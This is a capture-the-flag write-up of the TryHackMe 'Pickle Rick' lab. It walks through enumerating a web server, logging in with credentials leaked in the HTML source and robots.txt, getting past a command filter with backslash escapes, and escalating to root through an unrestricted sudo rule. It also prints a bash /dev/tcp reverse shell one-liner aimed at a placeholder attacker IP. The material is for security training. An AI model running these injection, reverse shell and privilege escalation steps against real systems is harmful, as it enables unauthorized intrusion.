This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.

cover

There is only one task, indicating that we have to get three ingredients (flags). So without any further ado, let’s begin our game!

TryHackMe CTF Room: https://tryhackme.com/room/picklerick

Nmap Scan

Let’s start this room by running a classic nmap scan:

$ nmap -sC -sV $IP -oN logs/nmap

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-01 00:01 CEST
Nmap scan report for 10.10.166.156
Host is up (0.068s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1b:e2:11:5e:45:4a:75:91:cb:d5:ec:00:2a:1d:cf:65 (RSA)
|   256 1b:78:9f:27:b3:aa:16:c2:b4:c6:be:f8:d2:61:7f:ba (ECDSA)
|_  256 b4:66:1e:a1:27:d3:3c:cc:e1:38:44:f4:79:3c:9e:81 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.51 seconds

Well, it seems we have only two open ports: 22 (SSH) and 80 (HTTP).

Web Directories Enumeration

Let’s start by visiting the homepage of the web server listening on port 80. By inspecting the source page, we can notice that it contains the following comment at the footer:

  <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

Thus, we can guess that a candidate username for a login could be R1ckRul3s.

Now let’s look if the web server provides a robots.txt file:

GET http://$IP/robots.txt

Wubbalubbadubdub

Okay maybe Wubbalubbadubdub could be a password (?), that is funny though. Furthermore, by trying to discover some admin page, we can find a login page at the /login.phpendpoint.

Gobuster

Since we didn’t find any useful information apart from the login page, let’s enumerate directories using Gobuster with the common.txt list:

$ gobuster dir --url $IP -w common.txt -o logs/gobuster.log

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.166.156
[+] Threads:        10
[+] Wordlist:       common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/01 00:13:36 Starting gobuster
===============================================================
/assets (Status: 301)
===============================================================
2020/10/01 00:13:49 Finished
===============================================================

As we can see, the tool found only one directory: /assets. Therefore we can investigate on that:

GET http://$IP/assets/

Parent Directory   -  
bootstrap.min.css 2019-02-10 16:37 119K  
bootstrap.min.js 2019-02-10 16:37 37K  
fail.gif 2019-02-10 16:37 49K  
jquery.min.js 2019-02-10 16:37 85K  
picklerick.gif 2019-02-10 16:37 222K  
portal.jpg 2019-02-10 16:37 50K  
rickandmorty.jpeg 2019-02-10 16:37 488K

It seems that we found some… rubbish!

First ingredient

Let’s try the R1ckRul3s:Wubbalubbadubdub login combination in the portal login page found at $IP/login.php.

Bingo! We have access to the command panel. Thus, we can try to execute an ls command to see if something is interesting:

$ ls

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

We can try to read the content of Sup3rS3cretPickl3Ingred.txt:

$ cat Sup3rS3cretPickl3Ingred.txt

Command disabled to make it hard for future PICKLEEEE RICCCKKKK

Damn. But we can bypass that by escaping every char with a backslash:

$ \c\a\t Sup3rS3cretPickl3Ingred.txt

***first_ingredient***

Second ingredient

Let’s read the content of the clue.txt file:

$ \c\a\t clue.txt

Look around the file system for the other ingredient.

Since we can perform command injections, we can try to get a reverse shell. Firstly, we can run netcat and make it listen on port 4444, then we can simply execute the following in the command panel webpage:

bash -c "bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1"

And voilà! We got a reverse shell:

$ nc -lvnp 4444

Connection from 10.10.166.156:56724
bash: cannot set terminal process group (1341): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-10-166-156:/var/www/html$

Now we can go in the home directory and find the second ingredient in Rick’s home:

www-data@ip-10-10-166-156:/var/www/html$ cd ../../home
cd ../../home
bash: cd: ../../home: No such file or directory
www-data@ip-10-10-166-156:/var/www/html$ cd ../../../home
cd ../../../home
www-data@ip-10-10-166-156:/home$ ls
ls
rick
ubuntu
www-data@ip-10-10-166-156:/home$ cd rick
cd rick
www-data@ip-10-10-166-156:/home/rick$ ls
ls
second ingredients
www-data@ip-10-10-166-156:/home/rick$ cat *
cat *
***second_ingredient***

Third ingredient

To get the latest ingredient we have to elevate our privileges. Let’s check out a sudo -l for our current user, www-data:

www-data@ip-10-10-166-156:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on
    ip-10-10-166-156.eu-west-1.compute.internal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on
        ip-10-10-166-156.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL

Well, easy peasy! It seems that the user www-data is allowed to perform all commands as root. We can finally get the third ingredient:

www-data@ip-10-10-166-156:/var/www/html$ sudo su
sudo su
/bin/bash -i
bash: cannot set terminal process group (1341): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-166-156:/var/www/html# cd 
cd
root@ip-10-10-166-156:~# ls 
ls 
3rd.txt
snap
root@ip-10-10-166-156:~# cat 3rd.txt
cat 3rd.txt
***third_ingredient***

That’s all folks

You can find the files related to this CTF at https://github.com/tsumarios/CTF-Writeups/tree/master/THM/Pickle-Rick.